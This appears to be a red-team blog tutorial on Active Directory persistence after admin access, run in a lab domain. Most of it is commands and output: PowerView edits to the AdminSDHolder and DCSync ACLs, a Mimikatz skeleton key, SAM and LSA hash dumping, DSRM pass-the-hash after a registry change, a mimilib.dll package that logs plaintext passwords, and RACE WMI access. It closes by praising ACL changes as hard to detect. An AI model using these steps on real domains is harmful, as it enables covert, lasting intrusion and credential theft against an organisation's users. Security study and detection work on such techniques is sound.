This article is looking at methods for maintaining access to an Active Directory environment when you already have administrative access.
- AdminSDHolder
- LSASS Skeleton Keys
- Directory Services Restore Mode
- Custom Security Support Providers
- ACL Modification
AdminSDHolder
AdminSDHolder is an Active Directory object that has default permissions set. Every 60 minutes, the Security Descriptor Propagator (SDPROP) will read the AdminSDHolder permissions, and replicate these permissions onto privileged groups, such as the Domain and Enterprise Administrator groups.
PowerView can be used to modify permissions on the AdminSDHolder object.
PS C:\Tools> . .\PowerView.ps1
PS C:\Tools> Add-DomainObjectAcl -TargetIdentity 'CN=AdminSDHolder,CN=System,DC=bordergate,DC=local' -PrincipalIdentity Alice -Rights All -verbose
VERBOSE: [Get-DomainObject] Get-DomainObject filter string: (|(|(samAccountName=Alice)(name=Alice)(displayname=Alice)))
VERBOSE: [Get-DomainSearcher] search base: LDAP://DC01.BORDERGATE.LOCAL/DC=BORDERGATE,DC=LOCAL
VERBOSE: [Invoke-LDAPQuery] filter string: (&(|(|(samAccountName=Alice)(name=Alice)(displayname=Alice))))
VERBOSE: [Get-DomainObject] Error disposing of the Results object: Method invocation failed because
[System.DirectoryServices.SearchResult] does not contain a method named 'dispose'.
VERBOSE: [Get-DomainObject] Extracted domain 'bordergate.local' from
'CN=AdminSDHolder,CN=System,DC=bordergate,DC=local'
VERBOSE: [Get-DomainSearcher] search base: LDAP://DC01.BORDERGATE.LOCAL/DC=bordergate,DC=local
VERBOSE: [Get-DomainObject] Get-DomainObject filter string:
(|(distinguishedname=CN=AdminSDHolder,CN=System,DC=bordergate,DC=local))
VERBOSE: [Get-DomainSearcher] search base: LDAP://DC01.BORDERGATE.LOCAL/DC=bordergate,DC=local
VERBOSE: [Invoke-LDAPQuery] filter string: (&(|(distinguishedname=CN=AdminSDHolder,CN=System,DC=bordergate,DC=local)))
VERBOSE: [Get-DomainObject] Error disposing of the Results object: Method invocation failed because
[System.DirectoryServices.SearchResult] does not contain a method named 'dispose'.
VERBOSE: [Add-DomainObjectAcl] Granting principal CN=alice,CN=Users,DC=bordergate,DC=local 'All' on
CN=AdminSDHolder,CN=System,DC=bordergate,DC=local
VERBOSE: [Add-DomainObjectAcl] Granting principal CN=alice,CN=Users,DC=bordergate,DC=local rights GUID
'00000000-0000-0000-0000-000000000000' on CN=AdminSDHolder,CN=System,DC=bordergate,DC=local
After running PowerView, we can see the permissions of the AdminSDHolder have been modified to include user Alice.
These rights will be replicated into the Domain Admins group:
Get-DomainObjectAcl -Identity 'Domain Admins' -ResolveGUIDs | ForEach-Object {$_ | Add-Member NoteProperty 'IdentityName' $(Convert-SidToName $_.SecurityIdentifier);$_} | ?{$_.IdentityName -match "Alice"}
AceType : AccessAllowed
ObjectDN : CN=Domain Admins,CN=Users,DC=bordergate,DC=local
ActiveDirectoryRights : GenericAll
OpaqueLength : 0
ObjectSID : S-1-5-21-1220112391-3624315575-3511410581-512
InheritanceFlags : None
BinaryLength : 36
IsInherited : False
IsCallback : False
PropagationFlags : None
SecurityIdentifier : S-1-5-21-1220112391-3624315575-3511410581-1104
AccessMask : 983551
AuditFlags : None
AceFlags : None
AceQualifier : AccessAllowed
IdentityName : BORDERGATE\alice
LSASS Skeleton Keys
Mimikatz can be used to patch LSASS memory, and add a password that will work for all user accounts.
C:\Tools>mimikatz.exe
.#####. mimikatz 2.2.0 (x64) #19041 Sep 19 2022 17:44:08
.## ^ ##. "A La Vie, A L'Amour" - (oe.eo)
## / \ ## /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
## \ / ## > https://blog.gentilkiwi.com/mimikatz
'## v ##' Vincent LE TOUX ( vincent.letoux@gmail.com )
'#####' > https://pingcastle.com / https://mysmartlogon.com ***/
mimikatz # privilege::debug
Privilege '20' OK
mimikatz # misc::skeleton
[KDC] data
[KDC] struct
[KDC] keys patch OK
[RC4] functions
[RC4] init patch OK
[RC4] decrypt patch OK
With LSASS patched on the domain controller, we can now log into any account using the password of “mimikatz”.
C:\Users\Administrator.BORDERGATE>net use \\DC01.bordergate.local\C$ mimikatz /user:bordergate\Administrator
The command completed successfully.
Directory Services Restore Mode
The Directory Services Restore Mode (DSRM) account is configured when setting up a domain. It’s password will be the same as the local Administrator account on the domain controller. We can extract it’s password using the Mimikatz command lsadump::sam.
C:\Tools>mimikatz.exe
.#####. mimikatz 2.2.0 (x64) #19041 Sep 19 2022 17:44:08
.## ^ ##. "A La Vie, A L'Amour" - (oe.eo)
## / \ ## /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
## \ / ## > https://blog.gentilkiwi.com/mimikatz
'## v ##' Vincent LE TOUX ( vincent.letoux@gmail.com )
'#####' > https://pingcastle.com / https://mysmartlogon.com ***/
mimikatz # privilege::debug
Privilege '20' OK
mimikatz # token::elevate
Token Id : 0
User name :
SID name : NT AUTHORITY\SYSTEM
604 {0;000003e7} 1 D 21212 NT AUTHORITY\SYSTEM S-1-5-18 (04g,21p) Primary
-> Impersonated !
* Process Token : {0;000618c3} 1 D 29162791 BORDERGATE\Administrator S-1-5-21-1220112391-3624315575-3511410581-500 (18g,26p) Primary
* Thread Token : {0;000003e7} 1 D 29217646 NT AUTHORITY\SYSTEM S-1-5-18 (04g,21p) Impersonation (Delegation)
mimikatz # lsadump::sam
Domain : DC01
SysKey : 8ddae70b8e792f61d8ec62cad8322311
Local SID : S-1-5-21-1038277516-4077007422-4190574700
SAMKey : 5cbcebeed11d1325ab6d94d5bb3b8984
RID : 000001f4 (500)
User : Administrator
Hash NTLM: 64f12cddaa88057e06a81b54e73b949b
RID : 000001f5 (501)
User : Guest
RID : 000001f7 (503)
User : DefaultAccount
RID : 000001f8 (504)
User : WDAGUtilityAccount
mimikatz # lsadump::lsa /patch
Domain : BORDERGATE / S-1-5-21-1220112391-3624315575-3511410581
RID : 000001f4 (500)
User : Administrator
LM :
NTLM : c39f2beb3d2ec06a62cb887fb391dee0
RID : 000001f5 (501)
User : Guest
LM :
NTLM :
By default, network login is not possible using the DSRM account. Setting the DsrmAdminLogonBehaviour registry key to 2 on a domain controller will allow us to login remotely using it;
PS C:\Tools> New-ItemProperty 'HKLM:\System\CurrentControlSet\Control\Lsa\' -Name 'DsrmAdminLogonBehaviour' -Value 2 -PropertyType DWORD -Verbose
VERBOSE: Performing the operation "New Property" on target "Item: HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Lsa\ Property: DsrmAdminLogonBehaviour".
DsrmAdminLogonBehaviour : 2
PSPath : Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Lsa\
PSParentPath : Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control
PSChildName : Lsa
PSDrive : HKLM
PSProvider : Microsoft.PowerShell.Core\Registry
PS C:\Tools> Get-ItemProperty 'HKLM:\System\CurrentControlSet\Control\Lsa\' -Name 'DsrmAdminLogonBehaviour'
DsrmAdminLogonBehaviour : 2
PSPath : Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Lsa\
PSParentPath : Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control
PSChildName : Lsa
PSDrive : HKLM
PSProvider : Microsoft.PowerShell.Core\Registry
Then we can use Mimikatz to pass the DSRM hash and gain remote access to the domain controller.
C:\Tools>mimikatz "privilege::debug" "sekurlsa::pth /domain:bordergate.local /user:Administrator /ntlm:64f12cddaa88057e06a81b54e73b949b" "exit"
.#####. mimikatz 2.2.0 (x64) #19041 Sep 19 2022 17:44:08
.## ^ ##. "A La Vie, A L'Amour" - (oe.eo)
## / \ ## /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
## \ / ## > https://blog.gentilkiwi.com/mimikatz
'## v ##' Vincent LE TOUX ( vincent.letoux@gmail.com )
'#####' > https://pingcastle.com / https://mysmartlogon.com ***/
mimikatz(commandline) # privilege::debug
Privilege '20' OK
mimikatz(commandline) # sekurlsa::pth /domain:bordergate.local /user:Administrator /ntlm:64f12cddaa88057e06a81b54e73b949b
user : Administrator
domain : bordergate.local
program : cmd.exe
impers. : no
NTLM : 64f12cddaa88057e06a81b54e73b949b
| PID 564
| TID 436
| LSA Process is now R/W
| LUID 0 ; 624960 (00000000:00098940)
\_ msv1_0 - data copy @ 0000022AAD3D5070 : OK !
\_ kerberos - data copy @ 0000022AACEA04C8
\_ des_cbc_md4 -> null
\_ des_cbc_md4 OK
\_ des_cbc_md4 OK
\_ des_cbc_md4 OK
\_ des_cbc_md4 OK
\_ des_cbc_md4 OK
\_ des_cbc_md4 OK
\_ *Password replace @ 0000022AAD3D9438 (32) -> null
mimikatz(commandline) # exit
Bye!
With the ticket injected into memory, we can access the C$ share on the domain controller.
C:\Windows\system32>dir \\DC01\C$
Volume in drive \\DC01\C$ has no label.
Volume Serial Number is 343D-F2D0
Directory of \\DC01\C$
08/05/2021 09:20 <DIR> PerfLogs
28/04/2024 10:27 <DIR> Program Files
08/05/2021 10:40 <DIR> Program Files (x86)
06/05/2024 10:01 <DIR> Tools
28/04/2024 10:21 <DIR> Users
06/05/2024 10:31 <DIR> Windows
0 File(s) 0 bytes
6 Dir(s) 51,680,108,544 bytes free
Custom Security Support Providers
Mimikatz includes a DLL, mimilib.dll that can act as an authentication provider. By installing this DLL on a domain controller, we can record usernames and passwords used to login to the system in a text file.
To install the DLL, copy it to C:\Windows\System32 and set the Security Packages registry key:
C:\Tools>copy mimilib.dll C:\Windows\System32\
1 file(s) copied.
C:\Tools> reg add "HKLM\SYSTEM\CurrentControlSet\Control\Lsa" /v "Security Packages" /d "kerberos\0msv1_0\0schannel\0wdigest\0tspkg\0pku2u\0mimilib" /t REG_MULTI_SZ /f
The operation completed successfully.
C:\Tools>reg query hklm\system\currentcontrolset\control\lsa\ /v "Security Packages"
HKEY_LOCAL_MACHINE\system\currentcontrolset\control\lsa
Security Packages REG_MULTI_SZ kerberos\0msv1_0\0schannel\0wdigest\0tspkg\0pku2u\0mimilib
After the domain controller has rebooted, any subsequent domain logins will be recorded in kiwissp.log:
C:\Windows\System32>type kiwissp.log
[00000000:000003e5] [00000005] \ (LOCAL SERVICE)
[00000000:0000ba4f] [00000002] BORDERGATE\DC01$ (DWM-1) 5a 76 7f 95 6f d1 ca 1a ba bf ca 60 eb f7 c7 95 12 29 af 39 53 6a 13 a9 c8 e3 14 0f 09 5b aa e5 8c af 29 55 06 6a f5 b4 da 40 89 86 e3 94 fe b0 79 8a 58 ab 18 1c 75 81 c5 3c 01 a9 23 54 43 a7 72 6e 60 9a 73 72 f5 f7 1f 7f ba 0b 04 8e f8 45 c2 74 0d eb 7a d2 9f 30 1b 85 bb 46 c3 0b 1f fa aa 2e 83 f0 60 16 39 cb d8 2f 20 3e 2f fc 97 97 aa 7e ed dd 5b e7 c0 2e 88 17 25 3f ae 1f e7 2f 38 94 87 a8 c6 3f ba 36 2c c5 85 57 9e ff c8 e7 d9 84 ac f6 94 3a 93 38 fa 51 d7 33 93 18 c6 4c e9 ec 89 af 61 f5 3e e8 c8 4e 0a c1 ea d2 92 1b 90 08 3d 98 bd 98 d8 75 7f 96 5d 15 6b 41 1f 71 76 0c c7 5f 1c fc 26 24 cd 5a 4c 16 d5 e4 82 97 ca 1c dd 1a 8b 05 ec 22 31 bd 35 18 8c 32 91 66 97 c3 28 4f 0d fa 3e f5 ce aa 25 5b ba 2e 12 06
[00000000:0003f634] [00000002] BORDERGATE\Administrator (Administrator) Password2
Recording login credentials can also be achieved using Password Filters.
ACL Modification
DCSync Permissions
We can add DCSync rights (DS Replication Get Changes/Replicating Directory Changes All) to a user account we control. The user won’t appear in an administrative group, but will be able to replicate any credentials in the domain.
PS C:\Tools> . .\PowerView.ps1
PS C:\Tools> Add-DomainObjectAcl -TargetIdentity "DC=bordergate,DC=local" -PrincipalIdentity Alice -Rights DCsync -Verbose
VERBOSE: [Get-DomainObject] Get-DomainObject filter string: (|(|(samAccountName=Alice)(name=Alice)(displayname=Alice)))
VERBOSE: [Get-DomainSearcher] search base: LDAP://DC01.BORDERGATE.LOCAL/DC=BORDERGATE,DC=LOCAL
VERBOSE: [Invoke-LDAPQuery] filter string: (&(|(|(samAccountName=Alice)(name=Alice)(displayname=Alice))))
VERBOSE: [Get-DomainObject] Error disposing of the Results object: Method invocation failed because [System.DirectoryServices.SearchResult] does not contain a method named 'dispose'.
VERBOSE: [Get-DomainObject] Extracted domain 'bordergate.local' from 'DC=bordergate,DC=local'
VERBOSE: [Get-DomainSearcher] search base: LDAP://DC01.BORDERGATE.LOCAL/DC=bordergate,DC=local
VERBOSE: [Get-DomainObject] Get-DomainObject filter string: (|(distinguishedname=DC=bordergate,DC=local))
VERBOSE: [Get-DomainSearcher] search base: LDAP://DC01.BORDERGATE.LOCAL/DC=bordergate,DC=local
VERBOSE: [Invoke-LDAPQuery] filter string: (&(|(distinguishedname=DC=bordergate,DC=local)))
VERBOSE: [Get-DomainObject] Error disposing of the Results object: Method invocation failed because [System.DirectoryServices.SearchResult] does not contain a method named 'dispose'.
VERBOSE: [Add-DomainObjectAcl] Granting principal CN=alice,CN=Users,DC=bordergate,DC=local 'DCsync' on DC=bordergate,DC=local
VERBOSE: [Add-DomainObjectAcl] Granting principal CN=alice,CN=Users,DC=bordergate,DC=local rights GUID '1131f6aa-9c07-11d1-f79f-00c04fc2dcd2' on DC=bordergate,DC=local
VERBOSE: [Add-DomainObjectAcl] Granting principal CN=alice,CN=Users,DC=bordergate,DC=local rights GUID '1131f6ad-9c07-11d1-f79f-00c04fc2dcd2' on DC=bordergate,DC=local
VERBOSE: [Add-DomainObjectAcl] Granting principal CN=alice,CN=Users,DC=bordergate,DC=local rights GUID '89e95b76-444d-4c62-991a-0facbeda640c' on DC=bordergate,DC=local
With the permission set, Alice will be able to DCSync any user in the domain:
C:\Tools>whoami
bordergate\alice
C:\Tools>mimikatz.exe
.#####. mimikatz 2.2.0 (x64) #19041 Sep 19 2022 17:44:08
.## ^ ##. "A La Vie, A L'Amour" - (oe.eo)
## / \ ## /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
## \ / ## > https://blog.gentilkiwi.com/mimikatz
'## v ##' Vincent LE TOUX ( vincent.letoux@gmail.com )
'#####' > https://pingcastle.com / https://mysmartlogon.com ***/
mimikatz # lsadump::dcsync /domain:bordergate.local /user:Administrator
[DC] 'bordergate.local' will be the domain
[DC] 'DC01.bordergate.local' will be the DC server
[DC] 'Administrator' will be the user account
[rpc] Service : ldap
[rpc] AuthnSvc : GSS_NEGOTIATE (9)
Object RDN : Administrator
** SAM ACCOUNT **
SAM Username : Administrator
Account Type : 30000000 ( USER_OBJECT )
User Account Control : 00010200 ( NORMAL_ACCOUNT DONT_EXPIRE_PASSWD )
Account expiration :
Password last change : 06/05/2024 10:47:18
Object Security ID : S-1-5-21-1220112391-3624315575-3511410581-500
Object Relative ID : 500
Credentials:
Hash NTLM: c39f2beb3d2ec06a62cb887fb391dee0
ntlm- 0: c39f2beb3d2ec06a62cb887fb391dee0
RACE Toolkit
RACE is a PowerShell script that can modify Access Control Entries for persistence. It can be downloaded here: https://github.com/samratashok/RACE
For instance, we can allow a user to execute remote commands on the domain controller using WMI:
PS C:\Tools\RACE-master> . .\RACE.ps1
PS C:\Tools\RACE-master> Set-RemoteWMI -SamAccountName Alice -ComputerName DC01 -Verbose
VERBOSE: Existing ACL for namespace root is
O:BAG:BAD:(A;CI;CCDCLCSWRPWPRCWD;;;BA)(A;CI;CCDCRP;;;NS)(A;CI;CCDCRP;;;LS)(A;CI;CCDCRP;;;AU)
VERBOSE: Existing ACL for DCOM is
O:BAG:BAD:(A;;CCDCLCSWRP;;;BA)(A;;CCDCSW;;;WD)(A;;CCDCLCSWRP;;;S-1-5-32-562)(A;;CCDCLCSWRP;;;LU)(A;;CCDCSW;;;AC)(A;;CCD
CSW;;;S-1-15-3-1024-2405443489-874036122-4286035555-1823921565-1746547431-2453885448-3625952902-991631256)
VERBOSE: New ACL for namespace root is
O:BAG:BAD:(A;CI;CCDCLCSWRPWPRCWD;;;BA)(A;CI;CCDCRP;;;NS)(A;CI;CCDCRP;;;LS)(A;CI;CCDCRP;;;AU)(A;CI;CCDCLCSWRPWPRCWD;;;S-
1-5-21-1220112391-3624315575-3511410581-1104)
VERBOSE: New ACL for DCOM
O:BAG:BAD:(A;;CCDCLCSWRP;;;BA)(A;;CCDCSW;;;WD)(A;;CCDCLCSWRP;;;S-1-5-32-562)(A;;CCDCLCSWRP;;;LU)(A;;CCDCSW;;;AC)(A;;CCD
CSW;;;S-1-15-3-1024-2405443489-874036122-4286035555-1823921565-1746547431-2453885448-3625952902-991631256)(A;;CCDCLCSWR
P;;;S-1-5-21-1220112391-3624315575-3511410581-1104)
In Conclusion
Modifying LSASS memory directly on a domain controller isn’t advisable outside of a lab environment, since it may introduce stability problems. ACL modification is the most preferable means of persistence in an Active Directory environment, since it’s changes are often trivial to roll-back, and are difficult to detect.